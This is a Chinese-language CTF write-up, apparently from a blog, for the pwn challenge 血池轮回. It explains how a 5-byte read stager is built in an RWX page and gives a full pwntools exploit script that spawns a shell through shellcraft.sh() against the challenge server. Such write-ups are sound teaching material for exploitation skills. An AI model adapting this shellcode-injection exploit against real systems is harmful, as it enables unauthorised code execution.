血池轮回

第十六届极客大挑战血池轮回 (4).png

loop函数:

第十六届极客大挑战血池轮回 (1).png

main函数就调用了一个loop函数,没有后门函数,我们看loop函数。

make_code_executable是一个经过页对齐后mprotect出权限7的函数,这里make_code_executable((unsigned __int64)&code_2, 32);就是从code_2开始一页都是权限7(4096字节大小),那我们可以考虑shellcode,

然后是实际起效的循环if ( idx > 9 ),最多循环9次,然后会让我们写入一字节((int)read(0, &code_2, 1u)),然后写入五字节read(0, &buf_, 5u);,然后((void (fastcall *)(int64, QWORD, QWORD))buf)(1, 0, 0);这里代表执行buf_的代码

第十六届极客大挑战血池轮回 (5).png

我们可以看到,实际上第一次输入的一字节和第二次输入的5字节是连起来的,而且都是权限7,也就是我们每次有6字节shellcode的输入机会,后续循环都是覆盖这六字节的位置,所以我们考虑直接利用6字节写一个read来读入shellcode,既然输入空间这么小,我们只能利用栈上的数据来当作pop的参数了,我们在((void (fastcall *)(int64, QWORD, QWORD))buf)(1, 0, 0);下断点看看什么情况

第十六届极客大挑战血池轮回 (2).png

我们要看的是rdx(写入长度),rdi(0),rax(0),rsi(写入地址),我们注意到这四个都不对,首先syscall是必须的,2字节,解决rdx,这个我们pop rdi把栈上的返回地址pop进rdi就行(返回地址数值很大),这里用了1字节,然后是清空rdi和rax,这里最短的是pop出栈上的0,只有一字节一个指令,xor要两字节,重点是rsi的设置,我们要传入一个地址,如果是常规的直接传入太大,我们这里注意到rax刚好存的是buf_+1的地址,我们这里直接交换rax和rsi不就能同时搞定两个寄存器吗,我们算算还有多少字节的空间

这里由于是从buf_开始执行,所以我们实际上只有5字节的空间,syscall2字节,两个pop2字节,我们就剩一字节了,所以这里我们只能用 xchg eax, esi,这里不能用64位寄存器,用64位会多一字节,由于x64的规则,会自动清空高32位,所以说大多数情况下对eax操作和对rax操作都是一样的,一般来说xchg不是一字节,但是CPU 设计者专门预留了只要你的指令是 xchg eax, 某某某,CPU 就直接用 1 个字节搞定,这个是rax和eax特殊的一点,所以这里刚好5字节够用

当然,我们用了两个pop我们也要看看栈上的情况是否符合我们的预期

第十六届极客大挑战血池轮回 (3).png

首先我们执行buf_的是一个call指令,它会把下一个指令的地址压栈,所以rsp指向的是下一个指令的地址,我们pop rdx是符合预期的,然后rsp指向的就是我们图中的第一个,我们看到是0,我们直接pop rdi是可以的

那我们5字节构建的read的shellcode就成功了,后面就是用sh的shellcode来getshell了

EXP:

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
target = 'nc nc1.ctfplus.cn 17576'

file_name = './pwn'

elf = ELF(file_name)
context.binary = elf

gdb_   = 1 if ('gdb' in sys.argv)        else 0
switch = 1 if ('remote' in sys.argv)     else 0
debug  = 0 if ('deoff'  in sys.argv)     else 1
error  = 1 if ('error'  in sys.argv)     else 0

if debug:
    context(log_level='debug')

if error:
    context(log_level='error')

bps = [
# 0x1234,
# 'main',
# (0xe3b31, 'libc'), 
# ('system', 'libc')
0x1405
]

gdb_cmd = ''
if gdb_ and switch == 0:
    gdb_cmd += "set breakpoint pending on\n"
    for b in bps:
       if isinstance(b, int):
           gdb_cmd += f"b *$rebase({hex(b)})\n"
       elif isinstance(b, str):
           gdb_cmd += f"b {b}\n"
    gdb_cmd += "c\n"

if switch:
   parts = target.replace(':', ' ').split()
   host = parts[-2]
   port   = int(parts[-1])
   p = remote(host, port)
elif gdb_:
   p = gdb.debug(file_name, gdbscript=gdb_cmd, aslr=True)
else:
   p = process(file_name)

def s(data):             return p.send(data)
def sa(delim, data):     return p.sendafter(delim, data)
def sl(data):            return p.sendline(data)
def sla(delim, data):    return p.sendlineafter(delim, data)
def r(numb=4096):        return p.recv(numb)
def ru(delim, drop=True):return p.recvuntil(delim, drop)
def rl():                return p.recvline()
def ra(t=None):          return p.recvall(timeout=t)
def cl():                return p.close()
def it():                return p.interactive()
def uc64(data):          return u64(data.rjust(8, b'\x00'))
def uu64(data):          return u64(data.ljust(8, b'\x00'))
def addr(off):           return lg(hex(off), (ret := elf.address + off)) or ret
def cb(data):            return data if isinstance(data, bytes) else str(data).encode()
def lg(name, data):      return log.success(name + ': ' + (hex(data) if isinstance(data, int) else data.decode(errors='ignore') if isinstance(data, bytes) else str(data)))
def menu(idx, pmt=b'>'): return sla(pmt, str(idx).encode())
def ntpie(leak, offset, name='PIE'):  return setattr(elf, 'address', leak - (elf.sym[offset] if isinstance(offset, str) else offset)) or lg(name, elf.address)
def ga(delim=b'|', name='Leak'):      return [lg(f'{name}[{i}]', x) or x for i, x in enumerate([int(a, 16) for a in re.findall(b'0x[0-9a-fA-F]+', ru(delim))])]
def base(val, binary=elf):            return binary.address + val  
def fill(num, content=b'A'):          return (content.encode() if isinstance(content, str) else content) * num
def search(s): return lg(s if isinstance(s, str) else f"bytes: {s.hex()}", (addr := next(elf.search(s if isinstance(s, bytes) else s.encode())))) or addr

_rop_cache = {}
def gg(s):
   target = elf
   if target not in _rop_cache:
       _rop_cache[target] = ROP(target)
   rop = _rop_cache[target]
   instrs = [x.strip() for x in s.split(';')]
   if (gadget := rop.find_gadget(instrs)):
       lg(s, gadget.address)
       return gadget.address
   else:
       raise ValueError(f"[-] Critical: Gadget not found: {s}")

#################################################################################
s(b'0')
shellcode = asm(f"pop rdx; pop rdi; xchg eax, esi; syscall;")
shellcode += asm("nop;"*0x5 + shellcraft.sh())
s(shellcode)

it()

题目链接:

CTF-Writeups/第十六届极客大挑战/血池轮回 at main · Zenquiem/CTF-Writeups


血池轮回
https://zenquietus.top/archives/wei-ming-ming-wen-zhang-cEPMtHKW
作者
ZenDuk
发布于
2026年01月22日
许可协议